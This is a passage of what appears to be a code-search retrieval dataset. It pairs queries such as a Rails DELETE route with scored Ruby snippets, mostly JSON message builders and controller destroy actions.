"text": "def body(k, v, options = { })\r\n k ||= v.class\r\n if v.kind_of? ActiveRecord::Base\r\n @message_body[k.to_sym] = v\r\n @to_xml_options = @to_xml_options.merge(options)\r\n else\r\n @message_body[k.to_sym] = v\r\n end\r\n end",
"title": ""
},
{
"docid": "509d1793595f74cf8f4d575fa1d052a7",
"score": "0.49348533",
"text": "def send_text_message payload\n self.class.post('', :body => payload.to_xml)\n end",
"title": ""
},
{
"docid": "c12d9085264287bde4e1f21633f6de55",
"score": "0.4932847",
"text": "def to_json\n {\n \"json_class\" => self.class.name,\n \"data\" => {\n\n \"question_text\" => question_text,\n \"choice_a\" => choice_a,\n \"choice_b\" => choice_b,\n \"choice_c\" => choice_c,\n \"choice_d\" => choice_d,\n \"choice_e\" => choice_e,\n \"choice_f\" => choice_f,\n \"correct_answer\" => correct_answer,\n \"iggy\" => iggy,\n \"rationale\" => rationale,\n \"subject\" => subject,\n \"category\" => category\n }\n\n }.to_json\n\n end",
"title": ""
},
{
"docid": "f1dbf8441ce00b7e4a80bbbb1e2e5420",
"score": "0.49295157",
"text": "def trial_body\n {\"url\" => \"www.whocares.com\",\n \"title\" => \"Blahblah\",\n \"description\" => \"New Hotness\"}.to_json\n end",
"title": ""
},
{
"docid": "d9abd3bf3f9663c69a865e3256a6fdc9",
"score": "0.49291077",
"text": "def response_msg(conversation_id)\n\t\t{\n \t\"conversation_id\": conversation_id,\n\t\t\t\"text\": \"우리멍냥 응답 메세지\",\n\t\t\t\"blocks\": [\n\t\t\t\t{\n\t\t\t\t \"type\": \"text\",\n\t\t\t\t \"text\": \"*처리되었습니다. 감사합니다.*🐱 🐶\",\n\t\t\t\t \"markdown\": true\n\t\t\t\t}\n\t\t\t]\n\t\t}.to_json\t\n\tend",
"title": ""
},
{
"docid": "8a672317541f5a6b73100d965b0f7531",
"score": "0.49234223",
"text": "def to_text\n {\n to: self.to,\n from: self.from,\n body: self.body\n }\n end",
"title": ""
},
{
"docid": "9f316a3cadf8ddff50d5b0bdb0d1a550",
"score": "0.49196294",
"text": "def publish(message, options = {})\n error = options[:error] || false\n eot = options[:eot] || false\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = {\n :message => message, \n :error => error ? 1 : 0, \n :eot => eot ? 1 : 0\n }.to_json\n request.content_type = 'text/json'\n# request['accept'] = 'text/json'\n http.request(request)\n end",
"title": ""
},
{
"docid": "060336bde8cb11e85ffe5512c68c62bd",
"score": "0.4901342",
"text": "def as_json(options={})\n {\n id: id,\n text: name\n }\n end",
"title": ""
},
{
"docid": "060336bde8cb11e85ffe5512c68c62bd",
"score": "0.4901342",
"text": "def as_json(options={})\n {\n id: id,\n text: name\n }\n end",
"title": ""
},
{
"docid": "2959bfe71dccf287f44b890636c10663",
"score": "0.49004623",
"text": "def on_message data\n cmd, payload = JSON(data).values_at('type', 'payload')\n if cmd == 'echo'\n write({type: 'echo', payload: payload}.to_json)\n else\n ShootoutApp.broadcast :_send_payload, {type: 'broadcast', payload: payload}.to_json\n write({type: \"broadcastResult\", payload: payload}.to_json)\n end\n end",
"title": ""
},
{
"docid": "ed3ff45f72c2827f43d881e8d6f79c83",
"score": "0.4899541",
"text": "def text\n @messaging['message']['text']\n end",
"title": ""
},
{
"docid": "50f8c08c5d33821cfd4c3788b1b7c46c",
"score": "0.48946404",
"text": "def wrap_for_sending(payload:, klass: :general, type: :message)\n pkt = JSON({payload: payload, klass: klass, type: type})\n \"event:#{type}\\ndata: #{pkt}\\n\\n\"\n end",
"title": ""
},
{
"docid": "1b5ee0e10175b3c0e7988a8bf4d95c50",
"score": "0.48936665",
"text": "def options\n render plain: ''\n end",
"title": ""
},
{
"docid": "1b5ee0e10175b3c0e7988a8bf4d95c50",
"score": "0.48936665",
"text": "def options\n render plain: ''\n end",
"title": ""
},
{
"docid": "1b5ee0e10175b3c0e7988a8bf4d95c50",
"score": "0.48936665",
"text": "def options\n render plain: ''\n end",
"title": ""
},
{
"docid": "f3ad12afff8e295882fd728d265a640a",
"score": "0.48863545",
"text": "def setting_default_text( languages )\n languages.each do |language|\n I18n.locale = language.code\n\n self.reject_subject = I18n.t('emails.event_rejection.subject')\n self.reject_body = <<BODY\n#{I18n.t('emails.event_rejection.greeting')}\n\n#{I18n.t('emails.event_rejection.rejection')}\n#{I18n.t('emails.event_rejection.goodbye')}\nBODY\n\n self.accept_subject = I18n.t('emails.event_acceptance.subject')\n self.accept_body = <<BODY\n#{I18n.t('emails.event_acceptance.greeting')}\n\n#{I18n.t('emails.event_acceptance.accepted_event')}\n#{I18n.t('emails.event_acceptance.confirmation')}\n#{I18n.t('emails.event_acceptance.check_data')}\n#{I18n.t('emails.event_acceptance.goodbye')}\nBODY\n\n self.accept_subject = I18n.t('emails.event_acceptance.subject')\n end\n end",
"title": ""
},
{
"docid": "d0b9c1620b03ff70f19cc3acb2a50426",
"score": "0.48821503",
"text": "def sample_delivery_receipt(options = {})\n options[:message_id] ||= \"123e71195545ad204bdd99f2070a7d86\"\n options[:error] ||= \"None\"\n options[:status] ||= \"delivered\"\n options[:date] ||= \"Mon Oct 11 09:21:38 UTC 2010\"\n {\n \"message_id\"=> options[:message_id],\n \"error\" => options[:error],\n \"status\"=> options[:status],\n \"delivered_at\"=> options[:date]\n }\n end",
"title": ""
},
{
"docid": "a570bb573d72148f9e4627bcc91b8ff1",
"score": "0.48770145",
"text": "def options_text\n options\n end",
"title": ""
},
{
"docid": "7a254ddfefe98962f7e2bcbce1e569eb",
"score": "0.4875782",
"text": "def call\n msg = \"Hi from RbHelloworld v.#{VERSION})!\"\n msg += \"\\n1. send me a :message via JSON for me to return that instead)!\"\n msg += \"\\n2. Also Im so smart I can actually detect a 'color'/'region' in ENV variables!\"\n INTERESTING_FIELDS.each do |field|\n msg += \"\\n- #{field}=#{ENV[field]}\" if ENV[field]\n end\n msg += \"\\n\\n-- by your GCF Ruby2.5alpha\"\n if @req.params.key?('message')\n msg += add_msg(\"Req.Param.Message\", @req.params['message'])\n elsif @req.body.size == 0 # .isEmpty?\n json = JSON.parse(@req.body.read) rescue {'message' => \"JSON Exception: #{$!}\"}\n msg += add_msg(\"JSON\", json['message']) if json.key?('message')\n end\n msg + \"\\n\"\n end",
"title": ""
},
{
"docid": "a65756d5a7cb2f90d464a2a0f7629836",
"score": "0.4868749",
"text": "def to_json\n { :text => self.text, :alt => self.alt }.to_json\n end",
"title": ""
},
{
"docid": "0fdaa0fe0c604cefb866b95e66541faf",
"score": "0.48672593",
"text": "def generate_options(message)\n {\n options: get_value_from(message[\"options\"]),\n campaign_id: get_value_from(message[\"tag\"]),\n content: {\n email_rfc822: message.to_s,\n },\n metadata: get_value_from(message[\"metadata\"]),\n recipients: generate_recipients(message),\n }\n end",
"title": ""
},
{
"docid": "f10a2e0a47261c1a8fda4dcf9e2c67e1",
"score": "0.48641425",
"text": "def respond(options)\n BubBot::Slack::Response.new(options, client)\n end",
"title": ""
},
{
"docid": "93c89ea45532f8c3399c665a7f200fa0",
"score": "0.4860041",
"text": "def send_text(text,echo=:command)\n puts \"<- #{text.inspect}\" if DisplayQueueRunnerDialog\n if text.class==Array\n text.each do |line|\n @connection.write(line+CRLF)\n LOG.info(@mail_id) {\"<- %s\"%text} if LogQueueRunnerConversation && echo==:command\n end\n else\n @connection.write(text+CRLF)\n LOG.info(@mail_id) {\"<- %s\"%text} if LogQueueRunnerConversation && echo==:command\n end\n end",
"title": ""
},
{
"docid": "9313107c7d3fbacc00cfd33d582d65ad",
"score": "0.4859864",
"text": "def flat_text(options = {})\n columns = options.fetch(:columns, StudentVoiceCompletedSurvey.columns_for_form_v2)\n prompt_keys_to_include = options.fetch(:prompt_keys_to_include, [\n :proud,\n :best_qualities,\n :activities_and_interests,\n :nervous_or_stressed,\n :learn_best\n ])\n\n lines = []\n prompt_keys_to_include.each do |prompt_key|\n prompt_text = columns[prompt_key]\n response_text = self[prompt_key]\n lines << \"#{prompt_text}\\n#{response_text}\\n\"\n end\n lines.join(\"\\n\").strip\n end",
"title": ""
},
{
"docid": "01da6380b5da5e8b0d888c36a8408ddc",
"score": "0.48588032",
"text": "def build_message(invite)\n { \n subject: \"#{invite.user.name} wants to invite you to myserve2eprform.com\",\n body: \"Hello #{invite.first_name},\\n\\nJoin me at myserve2eprform.com and power your job performance through connections. Become a member today and grow your learning resources immediately and begin to connect, learn, and practice a selection of professional skills.Join us here, http://myserve2eprform.com.\\n\\nThanks,\\n\\n#{invite.user.name}\\nserve2perform Member\\n\"\n }\n end",
"title": ""
},
{
"docid": "a297b99a148ebeec40058c3e2f38c5b6",
"score": "0.48538452",
"text": "def to_slack_json\n json = {\n title: \"Task #{self.channel_order} : #{self.task_description.to_s}\",\n text: \"Created_at : #{self.created_at} by #{self.slack_user.name}\",\n color: self.slack_color,\n fields: [\n {\n title: \"Users Assigned\",\n value: self.slack_user_assigned.pluck(:name).join(' '),\n short: true\n },\n {\n title: \"Done ?\",\n value: self.is_done.to_s,\n short: true\n }\n\n ]\n }\n end",
"title": ""
},
{
"docid": "dfa9c69490b8176e9ee7eded948865d1",
"score": "0.48460996",
"text": "def get_some_text_jira sessionsObj, request, jsonKey, methodToSend, useWarn\r\n id = request.query['id']\r\n return return_method_not_allowed 'No Jira session found' unless sessionsObj.session_contaion(id, 'jiraOwnerName')\r\n jiraOwnerName = sessionsObj.get_info_in_session id, 'jiraOwnerName'\r\n return return_method_not_allowed 'Jira query missing, please performe the release query before.' unless sessionsObj.session_contaion(id, \"Release#{jiraOwnerName}\")\r\n releaseInfo = sessionsObj.get_info_in_session id, \"Release#{jiraOwnerName}\"\r\n text = AAJira.send(methodToSend, *[releaseInfo, jiraOwnerName, useWarn])\r\n return return_bad_request ('Something failled =( . ' + AAJira.lastError) if text.empty? and !AAJira.lastError.empty?\r\n return return_json_response({'jiraOwnerName'=> jiraOwnerName, 'release' => releaseInfo['release'], 'id' => id, jsonKey => text, 'warning' => AAJira.lastError}, 200)\r\n end",
"title": ""
},
{
"docid": "13a5a2d2d6efe1b94184e87efd4590b1",
"score": "0.48422787",
"text": "def payload_for_failed\n payload = super\n payload[:text] = \":fire: Атака захлебнулась: #{payload[:text]}\"\n payload\n end",
"title": ""
},
{
"docid": "c1e3cb451636582c64aa51fa733250f2",
"score": "0.48403278",
"text": "def js_notify(options = {})\n if options[:message]\n HEADERS.each do |value, header|\n response.headers[header] = options[value].to_s if options[value]\n end\n else\n response.headers['X-SRBUJ-REMOVE'] = 'true'\n end\n end",
"title": ""
},
{
"docid": "1f28dab13a6a40135375b0a8cd659552",
"score": "0.48380834",
"text": "def json\n begin\n super\n rescue JSON::ParserError => e\n return \"#{body} - SendgridToolkit warning: We requested JSON, but the response generated the following error when we tried parsing it: #{e.class}: #{e}\"\n end\n end",
"title": ""
}
] |
baf6b73d698f11f9fcf3481e2f21d93e
|
DELETE /classes_planifications/1 DELETE /classes_planifications/1.json
|
[
{
"docid": "95578f233b81e638882ac70e6ab6be8c",
"score": "0.7763773",
"text": "def destroy\n @classes_planification.destroy\n\n head :no_content\n end",
"title": ""
}
] |
[
{
"docid": "40a3fca9b10a8aadcf207d36703902b8",
"score": "0.7070158",
"text": "def destroy\r\n @testplan = Testplan.find(params[:id])\r\n @testplan.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to testplans_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "60fcdcfe56886341e189ef39b98706d6",
"score": "0.7059687",
"text": "def destroy\n @clasification = Clasification.find(params[:id])\n @clasification.destroy\n\n respond_to do |format|\n format.html { redirect_to clasifications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7ad8e66ed7a019ff9f35295f2afcdd81",
"score": "0.70550686",
"text": "def destroy\n @plancent.destroy\n respond_to do |format|\n format.html { redirect_to plancents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2727eeaccb941d268442a2345abe0906",
"score": "0.6972007",
"text": "def destroy\n @crawler_plan.destroy\n respond_to do |format|\n format.html { redirect_to crawler_plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9f2e00688bc192b4ded603f576ced8de",
"score": "0.694715",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e19d8349d220dcbd4dba81b88a94f344",
"score": "0.694306",
"text": "def destroy\n @regular_plan.destroy\n respond_to do |format|\n format.html { redirect_to regular_plans_url, notice: 'Regular plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bbf92e54d507fd3532c4a765acf14be9",
"score": "0.69396466",
"text": "def destroy\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bc5f4363ecff497b64851c7e7d1b86b4",
"score": "0.6929334",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bc5f4363ecff497b64851c7e7d1b86b4",
"score": "0.6929334",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "63f40931b92a6e1f63ef08986f11eda5",
"score": "0.69114184",
"text": "def destroy\n @classified = Classified.find(params[:id])\n @classified.destroy\n\n respond_to do |format|\n format.html { redirect_to classifieds_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8b8133d819efba0acc1aff3d27fbc61a",
"score": "0.6884853",
"text": "def destroy\n @tipo_plan = TipoPlan.find(params[:id])\n @tipo_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_plan_index_path }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7cc0564e6a94da21898ee04bd92d65a4",
"score": "0.6878185",
"text": "def destroy\n @class_need = ClassNeed.find(params[:id])\n @class_need.destroy\n\n respond_to do |format|\n format.html { redirect_to class_needs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "16faba09df0bdd14853e92796d007d25",
"score": "0.68734133",
"text": "def destroy\n @test_plan.destroy\n respond_to do |format|\n format.html { redirect_to test_plans_url, notice: 'Test plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5b2e639b43a17e80f8d57893f5491260",
"score": "0.68553174",
"text": "def destroy\n @exercise_plan.destroy\n respond_to do |format|\n format.html { redirect_to exercise_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cfad5913cb9292fe22f11ea7fac04e9f",
"score": "0.68392783",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'План удален!' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e240a7b614d88701a5d4268ba64a12f5",
"score": "0.6839119",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "af0f43f4984cdebc8f95a3fa830329cc",
"score": "0.6838013",
"text": "def destroy\n @plan.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "bea3d67cf58ab0550df6135e53a0dd04",
"score": "0.6822445",
"text": "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bea3d67cf58ab0550df6135e53a0dd04",
"score": "0.6822445",
"text": "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bea3d67cf58ab0550df6135e53a0dd04",
"score": "0.6822445",
"text": "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bea3d67cf58ab0550df6135e53a0dd04",
"score": "0.6822445",
"text": "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bea3d67cf58ab0550df6135e53a0dd04",
"score": "0.6822445",
"text": "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "70f9f8c3d0670138c555a867725b813f",
"score": "0.6818865",
"text": "def destroy\n @planificacion = Planificacion.find(params[:id])\n @planificacion.destroy\n\n respond_to do |format|\n format.html { redirect_to planificaciones_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "964a9593666179b750a967c778f345bc",
"score": "0.68094134",
"text": "def destroy\n @capsule_class.destroy\n respond_to do |format|\n format.html { redirect_to capsule_classes_url, notice: 'Capsule class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "04ba1da93735633f00fa332ea68f556e",
"score": "0.6804813",
"text": "def destroy\n @lessonplan = Lessonplan.find(params[:id])\n @lessonplan.destroy\n\n respond_to do |format|\n format.html { redirect_to lessonplans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7ddeb11bbc57d250863ec64671f48cd3",
"score": "0.6803336",
"text": "def destroy\n @customer_class = CustomerClass.find(params[:id])\n @customer_class.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_classes_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a7f4c7af395883326bd44fc715d46f55",
"score": "0.68026716",
"text": "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ba881aa098eb6045179fded102f1b3dc",
"score": "0.679726",
"text": "def destroy\n @admin_plan.destroy\n respond_to do |format|\n format.html { redirect_to admin_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "106c07f5449074c3d181c9c33207c0f6",
"score": "0.67879176",
"text": "def destroy\n @gameplan = Gameplan.find(params[:id])\n @gameplan.destroy\n\n respond_to do |format|\n format.html { redirect_to gameplans_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a98d067c5182bcb9c331de774ec01337",
"score": "0.6787605",
"text": "def destroy\n @class.destroy\n\n respond_to do |format|\n format.html { redirect_to classes_path }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c89a83ce258f2c38d5b57357ee66b686",
"score": "0.6781908",
"text": "def destroy\n @jclsclass = Jclsclass.find(params[:id])\n @jclsclass.destroy\n\n respond_to do |format|\n format.html { redirect_to jclsclasses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3fdf926f926b83560606f8e0a949ad99",
"score": "0.6780149",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'План успешно удален' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6f7f80cc325f4501f80acb0d3cd7a7d7",
"score": "0.67711717",
"text": "def destroy\n @lab_class = current_resource\n @lab_class.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_classes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ca34220cba7fc0a6e4a48c0fad94cb72",
"score": "0.6767318",
"text": "def destroy\n @meal_plan = MealPlan.find(params[:id])\n @meal_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to meal_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4f1df36279d6906b28df64fd8dce00a3",
"score": "0.67617637",
"text": "def destroy\n @meal_plan = MealPlan.find(params[:id])\n @meal_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to meal_plans_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "368b5d2c80d83da33599aaa8fe2ae5c5",
"score": "0.6757833",
"text": "def destroy\n @membership_plan.destroy\n respond_to do |format|\n format.html { redirect_to membership_plans_url, notice: 'Membership plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "752e59afefce1bc09e630834f98d63b0",
"score": "0.6753304",
"text": "def destroy\n @medicaid_plan.destroy\n respond_to do |format|\n format.html { redirect_to medicaid_plans_url, notice: 'Medicaid plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a849127560ce39a3f6f9633a1791858b",
"score": "0.6753276",
"text": "def destroy\n @round_plan.destroy\n respond_to do |format|\n format.html { redirect_to round_plans_url, notice: 'Round plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28a4ff2f13d42fe04003a7fb2f76e0f5",
"score": "0.67474854",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5e391a734b76e6863c774f8fa5039df9",
"score": "0.67472756",
"text": "def destroy\n @assessment_plan.destroy\n respond_to do |format|\n format.html { redirect_to assessment_plans_url, notice: 'Assessment plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0fe7e5780782dd41ef9fa489c0b1c366",
"score": "0.6746594",
"text": "def destroy\n @training_plan.destroy\n respond_to do |format|\n format.html { redirect_to training_plans_url, notice: 'Training plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f426e059913441706408762d45db5c0",
"score": "0.67405146",
"text": "def destroy\n @bussiness_plan = BussinessPlan.find(params[:id])\n @bussiness_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to bussiness_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3ce55a852288e160a5ead454a025d9f8",
"score": "0.6736517",
"text": "def destroy\n @chiropractic_treatment_plan = ChiropracticTreatmentPlan.find(params[:id])\n @chiropractic_treatment_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to chiropractic_treatment_plans_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "262846ad27f02578919b1cda84527049",
"score": "0.67326444",
"text": "def destroy\n @company_classification.destroy\n respond_to do |format|\n format.html { redirect_to company_classifications_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "04be1c8441a9fd94827b3172272cc26e",
"score": "0.6728526",
"text": "def destroy\n @class_proficiency.destroy\n respond_to do |format|\n format.html { redirect_to class_proficiencies_url, notice: 'Class proficiency was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9174a8dfa6f1135fddcebae12635f7f5",
"score": "0.67209995",
"text": "def destroy\n @clazz = Clazz.find(params[:id])\n @clazz.destroy\n\n respond_to do |format|\n format.html { redirect_to clazzes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d032d900531048b110fb16643b0771d1",
"score": "0.671792",
"text": "def destroy\n @accounting_classification.destroy\n respond_to do |format|\n format.html { redirect_to accounting_classifications_url, notice: 'Item Eliminado' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0233183b592e3632f6a9d69f4afa9977",
"score": "0.6717382",
"text": "def destroy\n @fitness_class = FitnessClass.find(params[:id])\n @fitness_class.destroy\n\n respond_to do |format|\n format.html { redirect_to fitness_classes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "549242b52722a936c1d43b568ff06646",
"score": "0.6712938",
"text": "def destroy\n @classification.destroy\n respond_to do |format|\n format.html { redirect_to classifications_url, notice: 'Classification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "549242b52722a936c1d43b568ff06646",
"score": "0.6712938",
"text": "def destroy\n @classification.destroy\n respond_to do |format|\n format.html { redirect_to classifications_url, notice: 'Classification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "162bdb553898b33f885a254a4fa324b3",
"score": "0.67115533",
"text": "def destroy\n @unit_class = UnitClass.find(params[:id])\n @unit_class.destroy\n\n respond_to do |format|\n format.html { redirect_to unit_classes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6525a801114602b1da4ab429819f7672",
"score": "0.6705264",
"text": "def destroy\n @report_definition_test_plan = ReportDefinitionTestPlan.find(params[:id])\n @report_definition_test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to report_definition_test_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8a7767af9a946767f1b24affdb3f504",
"score": "0.67050296",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: \"教学计划已被成功删除\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9316afa7f64f4324108858d0fa020e6f",
"score": "0.6705026",
"text": "def destroy\n @meal_plan.destroy\n respond_to do |format|\n format.html { redirect_to meal_plans_url, notice: \"Meal plan was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "78c06d49e70876f73a4c078b2499f657",
"score": "0.67048573",
"text": "def destroy\n single_plan = @single_plan_set.single_plan\n @single_plan_set.destroy\n\n respond_to do |format|\n format.html { redirect_to(single_plan_single_plan_sets_url(single_plan)) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "03d66d382e12bcbc627ec8ec77b8f728",
"score": "0.6701274",
